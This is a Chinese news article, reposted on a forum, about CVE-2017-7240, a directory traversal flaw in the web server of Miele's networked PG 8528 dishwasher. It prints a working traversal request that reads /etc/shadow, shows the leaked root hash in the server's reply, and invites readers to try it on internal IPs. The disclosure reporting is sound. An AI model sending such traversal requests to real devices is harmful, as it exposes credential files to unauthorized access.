搜索

[3669] 2017-03-28_物联网家电存在风险德国美诺洗碗机被曝“目录遍历漏洞”

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2017-03-28_物联网家电存在风险德国美诺洗碗机被曝“目录遍历漏洞” 物 联 网 家 电 存 在 风 险   德 国 美 诺 洗 碗 机 被 曝 “ 目 录 遍 历 漏 洞 ” 原 创   E 安 全   E 安 全   2 0 1 7 - 0 3 - 2 8 更 多 全 球 网 络 安 全 资 讯 尽 在 E 安 全 官 网 w w w . e a s y a q . c o m E 安 全 3 月 2 7 日 讯   随 着 最 近 几 年 物 联 网 和 智 能 家 居 的 普 及 ， 洗 碗 机 这 种 家 电 类 型 开 始 被 越 来 越 多 的 人 所 接 受 。 但 是 最 近 德 国 高 端 家 电 厂 商 美 诺 （ M i e l e ） 旗 下 的 洗 碗 机 却 被 爆 存 在 “ 目 录 遍 历 漏 洞 ” ！ 别 说 没 人 警 告 过 ！ 联 网 家 电 存 在 风 险 ！ 别 说 没 人 警 告 过 ！ 联 网 家 电 存 在 风 险 ！ 德 国 美 诺 （ M i e l e ） 洗 碗 机 给 洗 碗 机 配 置 了 网 络 服 务 器 ， 实 现 了 全 物 联 网 。 其 近 日 则 因 美 诺 专 业 P G   8 5 2 8 — — 网 络 服 务 器 目 录 遍 历 而 出 现 在 一 则 漏 洞 披 露 报 告 中 ， 该 漏 洞 在 通 用 漏 洞 及 披 露 数 据 库 中 的 代 码 为 C V E - 2 0 1 7 - 7 2 4 0 。 详 情 ： h t t p : / / s e c l i s t s . o r g / f u l l d i s c l o s u r e / 2 0 1 7 / M a r / 6 3 响 应 的 嵌 入 式 W e b 服 务 器 ‘ P S T 1 0   W e b S e r v e r ’ 通 常 会 侦 听 端 口 8 0 ， 并 且 有 倾 向 实 施 目 录 遍 历 攻 击 ， 因 此 ， 未 经 身 份 的 攻 击 者 也 许 可 以 利 用 该 漏 洞 访 问 敏 感 信 息 ， 以 进 行 后 续 攻 击 。 美 诺 （ M i e l e ） 全 物 联 网 洗 碗 机 当 属 懒 人 界 的 一 大 神 器 ， 若 您 也 购 买 了 如 此 高 端 大 气 上 档 次 的 洗 碗 机 ， 您 自 己 也 可 以 轻 松 验 证 该 漏 洞 ： g e t   / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / s h a d o w  
H T T P / 1 . 1   t o     1 9 2 . 1 6 8 . 0 . 1 （ 任 何 一 个 你 想 访 问 的 内 网 I P ）   ~ $   t e l n e t   1 9 2 . 1 6 8 . 0 . 1   8 0 T r y i n g   1 9 2 . 1 6 8 . 0 . 1 . . . C o n n e c t e d   t o   1 9 2 . 1 6 8 . 0 . 1 . E s c a p e   c h a r a c t e r   i s t   ' ^ ] ' . G E T   / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / s h a d o w   H T T P / 1 . 1 H T T P / 1 . 1   2 0 0   O K D a t e :   W e d ,   1 6   N o v   2 0 1 6   1 1 : 5 8 : 5 0   G M T S e r v e r :   P S T 1 0   W e b S e r v e r C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m L a s t - M o d i f i e d :   F r i ,   2 2   F e b   2 0 1 3   1 0 : 0 4 : 4 0   G M T C o n t e n t - d i s p o s i t i o n :   a t t a c h m e n t ;   f i l e n a m e = " . / e t c / s h a d o w " A c c e p t - R a n g e s :   b y t e s C o n t e n t - L e n g t h :   5 2 r o o t : $ 1 $ $ M d 0 i [ . . . s n i p . . . ] Z 0 0 1 : 1 0 9 3 3 : 0 : 9 9 9 9 9 : 7 : : :       目 录 遍 历 （ d i r e c t o r y   t r a v e r s a l ） 攻 击 允 许 犯 罪 分 子 访 问 目 录 ， 而 非 网 络 服 务 器 需 要 的 内 容 。 一 旦 这 些 犯 罪 分 子 获 取 这 些 目 录 ， 他 们 便 可 以 任 意 插 入 代 码 ， 并 让 网 络 服 务 器 执 行 。 目 前 尚 不 清 楚 ， 美 诺 的 哪 些 库 被 用 来 搭 建 网 络 服 务 器 ， 这 就 意 味 着 ， 美 诺 暂 未 修 复 漏 洞 。 对 于 洗 碗 机 ， 最 好 是 确 保 设 备 未 暴 露 在 互 联 网 上 。 联 网 电 器 制 造 公 司 大 多 没 有 漏 洞 修 复 流 程 联 网 电 器 制 造 公 司 大 多 没 有 漏 洞 修 复 流 程 发 现 该 洗 碗 机 的 网 络 服 务 器 的 研 究 人 员 施 耐 德 和 W u l f   E D V - B e r a t u n g   G m b H   &   C o .   K G 公 司 的 J e n s   R e g e l 抱 怨 称 ， 美 诺 从 未 响 应 他 发 出 的 通 知 。 2 0 1 6 年 1 1 月 他 曾 第 一 次 于 通 知 了 美 诺 公 司 。 由 于 美 诺 是 一 家 设 备 公 司 ， 而 不 是 纯 粹 的 I T 公 司 ， 因 此 并 没 有 报 告 或 修 复 漏 洞 的 流 程 。 专 家 建 议 家 电 制 造 商 ： 如 果 并 非 自 己 所 长 ， 尽 量 不 要 将 设 备 联 网 。 专 家 建 议 家 电 制 造 商 ： 如 果 并 非 自 己 所 长 ， 尽 量 不 要 将 设 备 联 网 。 在 中 国 ， 有 大 量 的 家 电 制 造 商 也 在 推 出 “ 炫 酷 ” 的 联 网 智 能 电 器 ， 包 括 W I F I 连 接 的 豆 浆 机 、 电 饭 煲 等 等 。 用 户 目 前 还 沉 侵 在 这 些 电 器 带 来 的 便 捷 的 轻 松 生 活 之 中 ， 而 未 注 意 到 物 联 网 的 危 害 已 悄 悄 袭 来 。 而 联 网 的 智 能 电 器 制 造 商 在 电 器 的 制 造 过 程 中 也 应 该 更 多 关 注 网 络 安 全 的 问 题 。 今 日 要 闻 E 安 全 官 网 安 全 官 网 w w w . e a s y a q . c o m ( 0 3 / 2 8 ) 0 1 德 国 官 员 称 俄 罗 斯 黑 客 组 织 A P T 2 8 去 年 对 其 发 动 网 络 攻 击
0 2 伦 敦 遭 恐 怖 袭 击 之 后   英 国 政 府 提 议 禁 止 公 民 加 密 通 信 0 3 黑 客 攻 击 ： 看 美 国 俄 亥 俄 州 空 军 基 地 如 何 训 练 网 络 战 士 0 4 香 港 选 举 刚 结 束 ， 包 含 全 港 选 民 资 料 的 笔 记 本 电 脑 被 盗 0 5 黑 客 组 织 利 用 E l   M a c h e t e 窃 取 全 球 政 府 超 过 1 0 0 G 数 据 0 6 公 民 信 息 安 全 保 护   看 国 外 有 哪 些 特 色 保 护 措 施 0 7 物 联 网 家 电 存 在 风 险   德 国 美 诺 洗 碗 机 被 曝 “ 目 录 遍 历 漏 洞 ” E 安 全 注 ： 本 文 系 安 全 注 ： 本 文 系 E 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 联 系 方 式 ： ①   微 信 号 z h u - g e l i a n g   ② 邮 箱 e a p p @ e a s y a q . c o m @ E 安 全 ， 最 专 业 的 前 沿 网 络 安 全 媒 体 和 产 业 服 务 平 台 ， 每 日 提 供 优 质 全 球 网 络 安 全 资 讯 与 深 度 思 考 ， 欢 迎 关 注 微 信 公 众 号 「 E 安 全 」 （ E A Q a p p ） ， 或 登 E 安 全 门 户 网 站 w w w . e a s y a q . c o m   ,   查 看 更 多 精 彩 内 容 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理